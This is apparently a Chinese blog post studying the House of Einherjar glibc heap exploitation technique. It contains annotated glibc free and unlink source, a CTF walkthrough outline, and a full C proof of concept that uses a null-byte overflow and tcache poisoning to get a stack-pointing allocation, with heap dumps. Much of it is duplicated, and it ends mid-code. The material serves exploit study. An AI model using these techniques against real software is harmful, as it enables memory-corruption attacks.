-
-
堆利用学习:the house of einherjar
-
发表于: 2024-1-5 15:05 8479
-
简介部分,来自参考资料[0],最近在进行堆利用相关的学习,打算把公开的各种利用技术整理学习一遍
overflow write
、off by one
、off by null
目的是修改chunk的prev_inuse标志位
利用 off by null
修改掉 chunk
的 size
域的 P
位,绕过 unlink
检查,在堆的后向合并过程中构造出 chunk overlapping
。
和the house of spirit有点像,hos修改size制作fake chunk,释放再申请得到堆块重叠
house of einherjar利用空字节溢出覆盖prev_used为0,基于堆块合并合并到fake chunk,得到堆块重叠
虽然该利用技巧至今仍可以利用,但是需要对 unlink
绕过的条件随着版本的增加有所变化。
最开始的 unlink
的代码是:
2个需要绕过的点:
如果fake chunk距离较远,可能需要地址泄露
实验环境:libc-2.35
代码挺长,但思路很简单:
_int_free的流程中,先看能不能放进tcachebin,放不下就试试fastbin,放不了的话,最终再考虑装入unsortedbin
装入之前会先进行合并操作
合并之前会进行一系列检查:
首先进行一系列安全检查:
首先向低地址合并:
如果上面的chunk是空闲的,就计算合并后大小,将其断链
然后尝试向高地址合并:
如果后面一个chunk是空闲的,也将其断链取出,计算合并后总大小,把合并后的整体作为一个chunk装入unsortedbin
如果后面一个chunk是top chunk,就直接合并到top chunk中
断链流程如上,主要是两个检查:
使用的libc版本:2.23,需要在一个无tcache机制的环境下复现,该题由于申请次数限制(4)无法跳过tcachebin
题目是经典菜单题,选项都写在了main函数里:
show:每次输入完命令都会打印这几个申请内存的内容
delete:删除的时候没有清空指针
edit:编辑的时候,会把输入的内容保存到缓冲区全局变量里等待确认,确认了再复制到堆里
add:这里存在offbynull,会把指针保存在全局变量里,位于刚刚用的缓冲区之后
这里可以在全局变量里构造fake chunk,堆中存在off by null,如果可以泄露堆地址,就能计算距离全局变量的偏移,就能进行house of einherjar利用了
连续申请4个chunk,释放第1个和第3个,就能拿到两个堆和libc的地址泄露,此时的堆布局:
接下来去释放chunk4,计算偏移,构造fake chunk,释放chunk2,完成house_of_einherjar
fake chunk:
结果就是,合并top chunk到这里了:
接下来的操作就是泄露栈地址,修改main函数返回地址为one gadget然后触发即可
有了libc泄露,就能拿到__environ的值,泄露栈地址:
只需要修改其中的一个指针为该变量,自动打印数据的时候,就会打印出来
为什么不能修改__free_hook写入system函数呢?这里修改的时候会先计算该地址的字符串的长度(strlen),然后根据这个长度去写入内容,__free_hook内容是0,没法写入
完整exp:
unlink宏如下:如果chunk大小太大,会检查fd_nextsize和bk_nextsize字段,所以也需要伪造
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if
(__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action,
"corrupted double-linked list"
, P, AV); \
else
{ \
// ..... \
} \
}
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if
(__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action,
"corrupted double-linked list"
, P, AV); \
else
{ \
// ..... \
} \
}
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int
main()
{
/*
* This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32.
* The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().
* It has the additional requirement of a heap leak.
*
* After filling the tcache list to bypass the restriction of consolidating with a fake chunk,
* we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.
* The following restriction for normal bins won't allow us to create chunks bigger than the memory
* allocated from the system in this arena:
*
* https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */
setbuf
(stdin, NULL);
setbuf
(stdout, NULL);
printf
(
"Welcome to House of Einherjar 2!\n"
);
printf
(
"Tested on Ubuntu 20.10 64bit (glibc-2.32).\n"
);
printf
(
"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"
);
printf
(
"This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\n"
);
printf
(
"Next, we use tcache poisoning to hijack control flow.\n"
"Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,"
"now tcache poisoning requires a heap leak.\n"
);
// prepare the target,
// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,
// it must be properly aligned.
intptr_t
stack_var[0x10];
intptr_t
*target = NULL;
// choose a properly aligned target address
for
(
int
i=0; i<0x10; i++) {
if
(((
long
)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break
;
}
}
assert
(target != NULL);
printf
(
"\nThe address we want malloc() to return is %p.\n"
, (
char
*)target);
printf
(
"\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n"
);
intptr_t
*a =
malloc
(0x38);
// create a fake chunk
printf
(
"\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n"
);
printf
(
"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"
);
a[0] = 0;
// prev_size (Not Used)
a[1] = 0x60;
// size
a[2] = (
size_t
) a;
// fwd
a[3] = (
size_t
) a;
// bck
printf
(
"Our fake chunk at %p looks like:\n"
, a);
printf
(
"prev_size (not used): %#lx\n"
, a[0]);
printf
(
"size: %#lx\n"
, a[1]);
printf
(
"fwd: %#lx\n"
, a[2]);
printf
(
"bck: %#lx\n"
, a[3]);
printf
(
"\nWe allocate 0x28 bytes for 'b'.\n"
"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n"
"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n"
);
uint8_t *b = (uint8_t *)
malloc
(0x28);
printf
(
"b: %p\n"
, b);
int
real_b_size = malloc_usable_size(b);
printf
(
"Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n"
, real_b_size);
/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
printf
(
"\nWe allocate 0xf8 bytes for 'c'.\n"
);
uint8_t *c = (uint8_t *)
malloc
(0xf8);
printf
(
"c: %p\n"
, c);
uint64_t* c_size_ptr = (uint64_t*)(c - 8);
// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit
printf
(
"\nc.size: %#lx\n"
, *c_size_ptr);
printf
(
"c.size is: (0x100) | prev_inuse = 0x101\n"
);
printf
(
"We overflow 'b' with a single null byte into the metadata of 'c'\n"
);
// VULNERABILITY
b[real_b_size] = 0;
// VULNERABILITY
printf
(
"c.size: %#lx\n"
, *c_size_ptr);
printf
(
"It is easier if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n"
);
// Write a fake prev_size to the end of b
printf
(
"\nWe write a fake prev_size to the last %lu bytes of 'b' so that "
"it will consolidate with our fake chunk\n"
,
sizeof
(
size_t
));
size_t
fake_size = (
size_t
)((c -
sizeof
(
size_t
) * 2) - (uint8_t*) a);
printf
(
"Our fake prev_size will be %p - %p = %#lx\n"
, c -
sizeof
(
size_t
) * 2, a, fake_size);
*(
size_t
*) &b[real_b_size-
sizeof
(
size_t
)] = fake_size;
// Change the fake chunk's size to reflect c's new prev_size
printf
(
"\nMake sure that our fake chunk's size is equal to c's new prev_size.\n"
);
a[1] = fake_size;
printf
(
"Our fake chunk size is now %#lx (b.size + fake_prev_size)\n"
, a[1]);
// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk
printf
(
"\nFill tcache.\n"
);
intptr_t
*x[7];
for
(
int
i=0; i<
sizeof
(x)/
sizeof
(
intptr_t
*); i++) {
x[i] =
malloc
(0xf8);
}
printf
(
"Fill up tcache list.\n"
);
for
(
int
i=0; i<
sizeof
(x)/
sizeof
(
intptr_t
*); i++) {
free
(x[i]);
}
printf
(
"Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\n"
);
free
(c);
printf
(
"Our fake chunk size is now %#lx (c.size + fake_prev_size)\n"
, a[1]);
printf
(
"\nNow we can call malloc() and it will begin in our fake chunk\n"
);
intptr_t
*d =
malloc
(0x158);
printf
(
"Next malloc(0x158) is at %p\n"
, d);
// tcache poisoning
printf
(
"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n"
);
uint8_t *pad =
malloc
(0x28);
free
(pad);
printf
(
"\nNow we free chunk 'b' to launch a tcache poisoning attack\n"
);
free
(b);
printf
(
"Now the tcache list has [ %p -> %p ].\n"
, b, pad);
printf
(
"We overwrite b's fwd pointer using chunk 'd'\n"
);
// requires a heap leak because it assumes the address of d is known.
// since house of einherjar also requires a heap leak, we can simply just use it here.
d[0x30 / 8] = (
long
)target ^ ((
long
)&d[0x30/8] >> 12);
// take target out
printf
(
"Now we can cash out the target chunk.\n"
);
malloc
(0x28);
intptr_t
*e =
malloc
(0x28);
printf
(
"\nThe new chunk is at %p\n"
, e);
// sanity check
assert
(e == target);
printf
(
"Got control on target/stack!\n\n"
);
}
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int
main()
{
/*
* This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32.
* The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().
* It has the additional requirement of a heap leak.
*
* After filling the tcache list to bypass the restriction of consolidating with a fake chunk,
* we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.
* The following restriction for normal bins won't allow us to create chunks bigger than the memory
* allocated from the system in this arena:
*
* https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */
setbuf
(stdin, NULL);
setbuf
(stdout, NULL);
printf
(
"Welcome to House of Einherjar 2!\n"
);
printf
(
"Tested on Ubuntu 20.10 64bit (glibc-2.32).\n"
);
printf
(
"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"
);
printf
(
"This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\n"
);
printf
(
"Next, we use tcache poisoning to hijack control flow.\n"
"Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,"
"now tcache poisoning requires a heap leak.\n"
);
// prepare the target,
// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,
// it must be properly aligned.
intptr_t
stack_var[0x10];
intptr_t
*target = NULL;
// choose a properly aligned target address
for
(
int
i=0; i<0x10; i++) {
if
(((
long
)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break
;
}
}
assert
(target != NULL);
printf
(
"\nThe address we want malloc() to return is %p.\n"
, (
char
*)target);
printf
(
"\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n"
);
intptr_t
*a =
malloc
(0x38);
// create a fake chunk
printf
(
"\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n"
);
printf
(
"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"
);
a[0] = 0;
// prev_size (Not Used)
a[1] = 0x60;
// size
a[2] = (
size_t
) a;
// fwd
a[3] = (
size_t
) a;
// bck
printf
(
"Our fake chunk at %p looks like:\n"
, a);
printf
(
"prev_size (not used): %#lx\n"
, a[0]);
printf
(
"size: %#lx\n"
, a[1]);
printf
(
"fwd: %#lx\n"
, a[2]);
printf
(
"bck: %#lx\n"
, a[3]);
printf
(
"\nWe allocate 0x28 bytes for 'b'.\n"
"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n"
"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n"
);
uint8_t *b = (uint8_t *)
malloc
(0x28);
printf
(
"b: %p\n"
, b);
int
real_b_size = malloc_usable_size(b);
printf
(
"Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n"
, real_b_size);
/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
printf
(
"\nWe allocate 0xf8 bytes for 'c'.\n"
);
uint8_t *c = (uint8_t *)
malloc
(0xf8);
printf
(
"c: %p\n"
, c);
uint64_t* c_size_ptr = (uint64_t*)(c - 8);
// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit
printf
(
"\nc.size: %#lx\n"
, *c_size_ptr);
printf
(
"c.size is: (0x100) | prev_inuse = 0x101\n"
);
printf
(
"We overflow 'b' with a single null byte into the metadata of 'c'\n"
);
// VULNERABILITY
b[real_b_size] = 0;
// VULNERABILITY
printf
(
"c.size: %#lx\n"
, *c_size_ptr);
printf
(
"It is easier if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n"
);
// Write a fake prev_size to the end of b
printf
(
"\nWe write a fake prev_size to the last %lu bytes of 'b' so that "
"it will consolidate with our fake chunk\n"
,
sizeof
(
size_t
));
size_t
fake_size = (
size_t
)((c -
sizeof
(
size_t
) * 2) - (uint8_t*) a);
printf
(
"Our fake prev_size will be %p - %p = %#lx\n"
, c -
sizeof
(
size_t
) * 2, a, fake_size);
*(
size_t
*) &b[real_b_size-
sizeof
(
size_t
)] = fake_size;
// Change the fake chunk's size to reflect c's new prev_size
printf
(
"\nMake sure that our fake chunk's size is equal to c's new prev_size.\n"
);
a[1] = fake_size;
printf
(
"Our fake chunk size is now %#lx (b.size + fake_prev_size)\n"
, a[1]);
// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk
printf
(
"\nFill tcache.\n"
);
intptr_t
*x[7];
for
(
int
i=0; i<
sizeof
(x)/
sizeof
(
intptr_t
*); i++) {
x[i] =
malloc
(0xf8);
}
printf
(
"Fill up tcache list.\n"
);
for
(
int
i=0; i<
sizeof
(x)/
sizeof
(
intptr_t
*); i++) {
free
(x[i]);
}
printf
(
"Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\n"
);
free
(c);
printf
(
"Our fake chunk size is now %#lx (c.size + fake_prev_size)\n"
, a[1]);
printf
(
"\nNow we can call malloc() and it will begin in our fake chunk\n"
);
intptr_t
*d =
malloc
(0x158);
printf
(
"Next malloc(0x158) is at %p\n"
, d);
// tcache poisoning
printf
(
"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n"
);
uint8_t *pad =
malloc
(0x28);
free
(pad);
printf
(
"\nNow we free chunk 'b' to launch a tcache poisoning attack\n"
);
free
(b);
printf
(
"Now the tcache list has [ %p -> %p ].\n"
, b, pad);
printf
(
"We overwrite b's fwd pointer using chunk 'd'\n"
);
// requires a heap leak because it assumes the address of d is known.
// since house of einherjar also requires a heap leak, we can simply just use it here.
d[0x30 / 8] = (
long
)target ^ ((
long
)&d[0x30/8] >> 12);
// take target out
printf
(
"Now we can cash out the target chunk.\n"
);
malloc
(0x28);
intptr_t
*e =
malloc
(0x28);
printf
(
"\nThe new chunk is at %p\n"
, e);
// sanity check
assert
(e == target);
printf
(
"Got control on target/stack!\n\n"
);
}
0x555555559290 0x0000000000000000 0x0000000000000041 ........A.......
0x5555555592a0 0x0000000000000000 0x0000000000000060 ........`.......
0x5555555592b0 0x00005555555592a0 0x00005555555592a0 ..UUUU....UUUU..
0x5555555592c0 0x0000000000000000 0x0000000000000000 ................
0x5555555592d0 0x0000000000000000 0x0000000000000031 ........1.......
0x5555555592e0 0x0000000000000000 0x0000000000000000 ................
0x5555555592f0 0x0000000000000000 0x0000000000000000 ................
0x555555559300 0x0000000000000000 0x0000000000000101 ................
0x555555559310 0x0000000000000000 0x0000000000000000 ................
0x555555559320 0x0000000000000000 0x0000000000000000 ................
0x555555559330 0x0000000000000000 0x0000000000000000 ................
0x555555559340 0x0000000000000000 0x0000000000000000 ................
0x555555559350 0x0000000000000000 0x0000000000000000 ................
0x555555559360 0x0000000000000000 0x0000000000000000 ................
0x555555559370 0x0000000000000000 0x0000000000000000 ................
0x555555559380 0x0000000000000000 0x0000000000000000 ................
0x555555559390 0x0000000000000000 0x0000000000000000 ................
0x5555555593a0 0x0000000000000000 0x0000000000000000 ................
0x5555555593b0 0x0000000000000000 0x0000000000000000 ................
0x5555555593c0 0x0000000000000000 0x0000000000000000 ................
0x5555555593d0 0x0000000000000000 0x0000000000000000 ................
0x5555555593e0 0x0000000000000000 0x0000000000000000 ................
0x5555555593f0 0x0000000000000000 0x0000000000000000 ................
0x555555559400 0x0000000000000000 0x0000000000020c01 ................ <-- Top chunk
0x555555559290 0x0000000000000000 0x0000000000000041 ........A.......
0x5555555592a0 0x0000000000000000 0x0000000000000060 ........`.......
0x5555555592b0 0x00005555555592a0 0x00005555555592a0 ..UUUU....UUUU..
0x5555555592c0 0x0000000000000000 0x0000000000000000 ................
0x5555555592d0 0x0000000000000000 0x0000000000000031 ........1.......
0x5555555592e0 0x0000000000000000 0x0000000000000000 ................
0x5555555592f0 0x0000000000000000 0x0000000000000000 ................
0x555555559300 0x0000000000000000 0x0000000000000101 ................
0x555555559310 0x0000000000000000 0x0000000000000000 ................
0x555555559320 0x0000000000000000 0x0000000000000000 ................
0x555555559330 0x0000000000000000 0x0000000000000000 ................
0x555555559340 0x0000000000000000 0x0000000000000000 ................
0x555555559350 0x0000000000000000 0x0000000000000000 ................
0x555555559360 0x0000000000000000 0x0000000000000000 ................
0x555555559370 0x0000000000000000 0x0000000000000000 ................
0x555555559380 0x0000000000000000 0x0000000000000000 ................
0x555555559390 0x0000000000000000 0x0000000000000000 ................
0x5555555593a0 0x0000000000000000 0x0000000000000000 ................
0x5555555593b0 0x0000000000000000 0x0000000000000000 ................
0x5555555593c0 0x0000000000000000 0x0000000000000000 ................
0x5555555593d0 0x0000000000000000 0x0000000000000000 ................
0x5555555593e0 0x0000000000000000 0x0000000000000000 ................
0x5555555593f0 0x0000000000000000 0x0000000000000000 ................
0x555555559400 0x0000000000000000 0x0000000000020c01 ................ <-- Top chunk
0x555555559290 0x0000000000000000 0x0000000000000041 ........A.......
0x5555555592a0 0x0000000000000000 0x0000000000000060 ........`.......
0x5555555592b0 0x00005555555592a0 0x00005555555592a0 ..UUUU....UUUU..
0x5555555592c0 0x0000000000000000 0x0000000000000000 ................
0x5555555592d0 0x0000000000000000 0x0000000000000031 ........1.......
0x5555555592e0 0x0000000000000000 0x0000000000000000 ................
0x5555555592f0 0x0000000000000000 0x0000000000000000 ................
0x555555559300 0x0000000000000060 0x0000000000000100 `...............
0x555555559310 0x0000000000000000 0x0000000000000000 ................
0x555555559320 0x0000000000000000 0x0000000000000000 ................
0x555555559330 0x0000000000000000 0x0000000000000000 ................
0x555555559340 0x0000000000000000 0x0000000000000000 ................
0x555555559350 0x0000000000000000 0x0000000000000000 ................
0x555555559360 0x0000000000000000 0x0000000000000000 ................
0x555555559370 0x0000000000000000 0x0000000000000000 ................
0x555555559380 0x0000000000000000 0x0000000000000000 ................
0x555555559390 0x0000000000000000 0x0000000000000000 ................
0x5555555593a0 0x0000000000000000 0x0000000000000000 ................
0x5555555593b0 0x0000000000000000 0x0000000000000000 ................
0x5555555593c0 0x0000000000000000 0x0000000000000000 ................
0x5555555593d0 0x0000000000000000 0x0000000000000000 ................
0x5555555593e0 0x0000000000000000 0x0000000000000000 ................
0x5555555593f0 0x0000000000000000 0x0000000000000000 ................
0x555555559400 0x0000000000000000 0x0000000000020c01 ................ <-- Top chunk
0x555555559290 0x0000000000000000 0x0000000000000041 ........A.......
0x5555555592a0 0x0000000000000000 0x0000000000000060 ........`.......
0x5555555592b0 0x00005555555592a0 0x00005555555592a0 ..UUUU....UUUU..
0x5555555592c0 0x0000000000000000 0x0000000000000000 ................
0x5555555592d0 0x0000000000000000 0x0000000000000031 ........1.......
0x5555555592e0 0x0000000000000000 0x0000000000000000 ................
0x5555555592f0 0x0000000000000000 0x0000000000000000 ................
0x555555559300 0x0000000000000060 0x0000000000000100 `...............
0x555555559310 0x0000000000000000 0x0000000000000000 ................
0x555555559320 0x0000000000000000 0x0000000000000000 ................
0x555555559330 0x0000000000000000 0x0000000000000000 ................
0x555555559340 0x0000000000000000 0x0000000000000000 ................
0x555555559350 0x0000000000000000 0x0000000000000000 ................
0x555555559360 0x0000000000000000 0x0000000000000000 ................
0x555555559370 0x0000000000000000 0x0000000000000000 ................
0x555555559380 0x0000000000000000 0x0000000000000000 ................
0x555555559390 0x0000000000000000 0x0000000000000000 ................
0x5555555593a0 0x0000000000000000 0x0000000000000000 ................
0x5555555593b0 0x0000000000000000 0x0000000000000000 ................
0x5555555593c0 0x0000000000000000 0x0000000000000000 ................
0x5555555593d0 0x0000000000000000 0x0000000000000000 ................
0x5555555593e0 0x0000000000000000 0x0000000000000000 ................
0x5555555593f0 0x0000000000000000 0x0000000000000000 ................
0x555555559400 0x0000000000000000 0x0000000000020c01 ................ <-- Top chunk
0x555555559290 0x0000000000000000 0x0000000000000041 ........A.......
0x5555555592a0 0x0000000000000000 0x0000000000000161 ........a....... <-- unsortedbin[all][0]
0x5555555592b0 0x00007ffff7fa3ce0 0x00007ffff7fa3ce0 .<.......<......
0x5555555592c0 0x0000000000000000 0x0000000000000000 ................
0x5555555592d0 0x0000000000000000 0x0000000000000031 ........1.......
0x5555555592e0 0x0000000000000000 0x0000000000000000 ................
0x5555555592f0 0x0000000000000000 0x0000000000000000 ................
0x555555559300 0x0000000000000060 0x0000000000000100 `...............
0x555555559310 0x0000000000000000 0x0000000000000000 ................
0x555555559320 0x0000000000000000 0x0000000000000000 ................
0x555555559330 0x0000000000000000 0x0000000000000000 ................
0x555555559340 0x0000000000000000 0x0000000000000000 ................
0x555555559350 0x0000000000000000 0x0000000000000000 ................
0x555555559360 0x0000000000000000 0x0000000000000000 ................
0x555555559370 0x0000000000000000 0x0000000000000000 ................
0x555555559380 0x0000000000000000 0x0000000000000000 ................
0x555555559390 0x0000000000000000 0x0000000000000000 ................
0x5555555593a0 0x0000000000000000 0x0000000000000000 ................
0x5555555593b0 0x0000000000000000 0x0000000000000000 ................
0x5555555593c0 0x0000000000000000 0x0000000000000000 ................
0x5555555593d0 0x0000000000000000 0x0000000000000000 ................
0x5555555593e0 0x0000000000000000 0x0000000000000000 ................
0x5555555593f0 0x0000000000000000 0x0000000000000000 ................
0x555555559400 0x0000000000000160 0x0000000000000100 `...............
0x555555559290 0x0000000000000000 0x0000000000000041 ........A.......
0x5555555592a0 0x0000000000000000 0x0000000000000161 ........a....... <-- unsortedbin[all][0]
0x5555555592b0 0x00007ffff7fa3ce0 0x00007ffff7fa3ce0 .<.......<......
0x5555555592c0 0x0000000000000000 0x0000000000000000 ................
0x5555555592d0 0x0000000000000000 0x0000000000000031 ........1.......
0x5555555592e0 0x0000000000000000 0x0000000000000000 ................
0x5555555592f0 0x0000000000000000 0x0000000000000000 ................
0x555555559300 0x0000000000000060 0x0000000000000100 `...............
0x555555559310 0x0000000000000000 0x0000000000000000 ................
0x555555559320 0x0000000000000000 0x0000000000000000 ................
0x555555559330 0x0000000000000000 0x0000000000000000 ................
0x555555559340 0x0000000000000000 0x0000000000000000 ................
0x555555559350 0x0000000000000000 0x0000000000000000 ................
0x555555559360 0x0000000000000000 0x0000000000000000 ................
0x555555559370 0x0000000000000000 0x0000000000000000 ................
0x555555559380 0x0000000000000000 0x0000000000000000 ................
0x555555559390 0x0000000000000000 0x0000000000000000 ................
0x5555555593a0 0x0000000000000000 0x0000000000000000 ................
0x5555555593b0 0x0000000000000000 0x0000000000000000 ................
0x5555555593c0 0x0000000000000000 0x0000000000000000 ................
0x5555555593d0 0x0000000000000000 0x0000000000000000 ................
0x5555555593e0 0x0000000000000000 0x0000000000000000 ................
0x5555555593f0 0x0000000000000000 0x0000000000000000 ................
0x555555559400 0x0000000000000160 0x0000000000000100 `...............
0x555555559290 0x0000000000000000 0x0000000000000041 ........A.......
0x5555555592a0 0x0000000000000000 0x0000000000000161 ........a.......
0x5555555592b0 0x0000000555555559 0x0000000000000000 YUUU............
0x5555555592c0 0x0000000000000000 0x0000000000000000 ................
0x5555555592d0 0x0000000000000000 0x0000000000000031 ........1.......
0x5555555592e0 0x000055500000ce49 0xf426fbe4ada38f47 I...PU..G.....&. <-- tcachebins[0x30][0/2]
0x5555555592f0 0x0000000000000000 0x0000000000000000 ................
0x555555559300 0x0000000000000060 0x0000000000000100 `...............
0x555555559310 0x0000000000000000 0x0000000000000000 ................
0x555555559320 0x0000000000000000 0x0000000000000000 ................
0x555555559330 0x0000000000000000 0x0000000000000000 ................
0x555555559340 0x0000000000000000 0x0000000000000000 ................
0x555555559350 0x0000000000000000 0x0000000000000000 ................
0x555555559360 0x0000000000000000 0x0000000000000000 ................
0x555555559370 0x0000000000000000 0x0000000000000000 ................
0x555555559380 0x0000000000000000 0x0000000000000000 ................
0x555555559390 0x0000000000000000 0x0000000000000000 ................
0x5555555593a0 0x0000000000000000 0x0000000000000000 ................
0x5555555593b0 0x0000000000000000 0x0000000000000000 ................
0x5555555593c0 0x0000000000000000 0x0000000000000000 ................
0x5555555593d0 0x0000000000000000 0x0000000000000000 ................
0x5555555593e0 0x0000000000000000 0x0000000000000000 ................
0x5555555593f0 0x0000000000000000 0x0000000000000000 ................
0x555555559400 0x0000000000000160
0x555555559290 0x0000000000000000 0x0000000000000041 ........A.......
0x5555555592a0 0x0000000000000000 0x0000000000000161 ........a.......
0x5555555592b0 0x0000000555555559 0x0000000000000000 YUUU............
0x5555555592c0 0x0000000000000000 0x0000000000000000 ................
0x5555555592d0 0x0000000000000000 0x0000000000000031 ........1.......
0x5555555592e0 0x000055500000ce49 0xf426fbe4ada38f47 I...PU..G.....&. <-- tcachebins[0x30][0/2]
0x5555555592f0 0x0000000000000000 0x0000000000000000 ................
0x555555559300 0x0000000000000060 0x0000000000000100 `...............
0x555555559310 0x0000000000000000 0x0000000000000000 ................
0x555555559320 0x0000000000000000 0x0000000000000000 ................
0x555555559330 0x0000000000000000 0x0000000000000000 ................
0x555555559340 0x0000000000000000 0x0000000000000000 ................
0x555555559350 0x0000000000000000 0x0000000000000000 ................
0x555555559360 0x0000000000000000 0x0000000000000000 ................
0x555555559370 0x0000000000000000 0x0000000000000000 ................
0x555555559380 0x0000000000000000 0x0000000000000000 ................
0x555555559390 0x0000000000000000 0x0000000000000000 ................
0x5555555593a0 0x0000000000000000 0x0000000000000000 ................
0x5555555593b0 0x0000000000000000 0x0000000000000000 ................
0x5555555593c0 0x0000000000000000 0x0000000000000000 ................
0x5555555593d0 0x0000000000000000 0x0000000000000000 ................
0x5555555593e0 0x0000000000000000 0x0000000000000000 ................
0x5555555593f0 0x0000000000000000 0x0000000000000000 ................
0x555555559400 0x0000000000000160
/* Lightweight tests: check whether the block is already the
top block. */
// 释放的chunk是top chunk,报错
if
(__glibc_unlikely(p == av->top))
malloc_printerr(
"double free or corruption (top)"
);
/* Or whether the next chunk is beyond the boundaries of the arena. */
// 下一个chunk的大小超过了arena容纳的边界,报错
// 对比下一个chunk的位置不能超过top chunk
if
(__builtin_expect(contiguous(av) && (
char
*)nextchunk >= ((
char
*)av->top + chunksize(av->top)), 0))
malloc_printerr(
"double free or corruption (out)"
);
/* Or whether the block is actually not marked used. */
// 如果下一个chunk的prev_inuse位没有设置,报错
// 该标志位意味着上一个chunk被使用,只有被使用的chunk才能被释放,已经释放了的chunk不能被释放,报错
if
(__glibc_unlikely(!prev_inuse(nextchunk)))
malloc_printerr(
"double free or corruption (!prev)"
);
// 检查下一个chunk的大小,太小了,或者超过系统内存了,报错,只要不要太小或者过大就行
nextsize = chunksize(nextchunk);
if
(__builtin_expect(chunksize_nomask(nextchunk) <= CHUNK_HDR_SZ, 0) || __builtin_expect(nextsize >= av->system_mem, 0))
malloc_printerr(
"free(): invalid next size (normal)"
);
/* Lightweight tests: check whether the block is already the
top block. */
// 释放的chunk是top chunk,报错
if
(__glibc_unlikely(p == av->top))
malloc_printerr(
"double free or corruption (top)"
);
/* Or whether the next chunk is beyond the boundaries of the arena. */
// 下一个chunk的大小超过了arena容纳的边界,报错
// 对比下一个chunk的位置不能超过top chunk
if
(__builtin_expect(contiguous(av) && (
char
*)nextchunk >= ((
char
*)av->top + chunksize(av->top)), 0))
malloc_printerr(
"double free or corruption (out)"
);
/* Or whether the block is actually not marked used. */
// 如果下一个chunk的prev_inuse位没有设置,报错
// 该标志位意味着上一个chunk被使用,只有被使用的chunk才能被释放,已经释放了的chunk不能被释放,报错
if
(__glibc_unlikely(!prev_inuse(nextchunk)))
malloc_printerr(
"double free or corruption (!prev)"
);
// 检查下一个chunk的大小,太小了,或者超过系统内存了,报错,只要不要太小或者过大就行
nextsize = chunksize(nextchunk);
if
(__builtin_expect(chunksize_nomask(nextchunk) <= CHUNK_HDR_SZ, 0) || __builtin_expect(nextsize >= av->system_mem, 0))
malloc_printerr(
"free(): invalid next size (normal)"
);
// 从后向前合并
/* consolidate backward */
if
(!prev_inuse(p))
// 如果上一个chunk是空闲的
{
// 获取prev_size大小
// chunk hdr 开头:prec_size size
prevsize = prev_size(p);
// 计算总大小
size += prevsize;
// 安全检查,使用prev_size计算出上一个chunk的地址,使用上一个chunk header的大小和下一个chunk的prev_size比较,如果不相等,报错
p = chunk_at_offset(p, -((
long
)prevsize));
if
(__glibc_unlikely(chunksize(p) != prevsize))
malloc_printerr(
"corrupted size vs. prev_size while consolidating"
);
// 断链上一个chunk
unlink_chunk(av, p);
}
// 从后向前合并
/* consolidate backward */
if
(!prev_inuse(p))
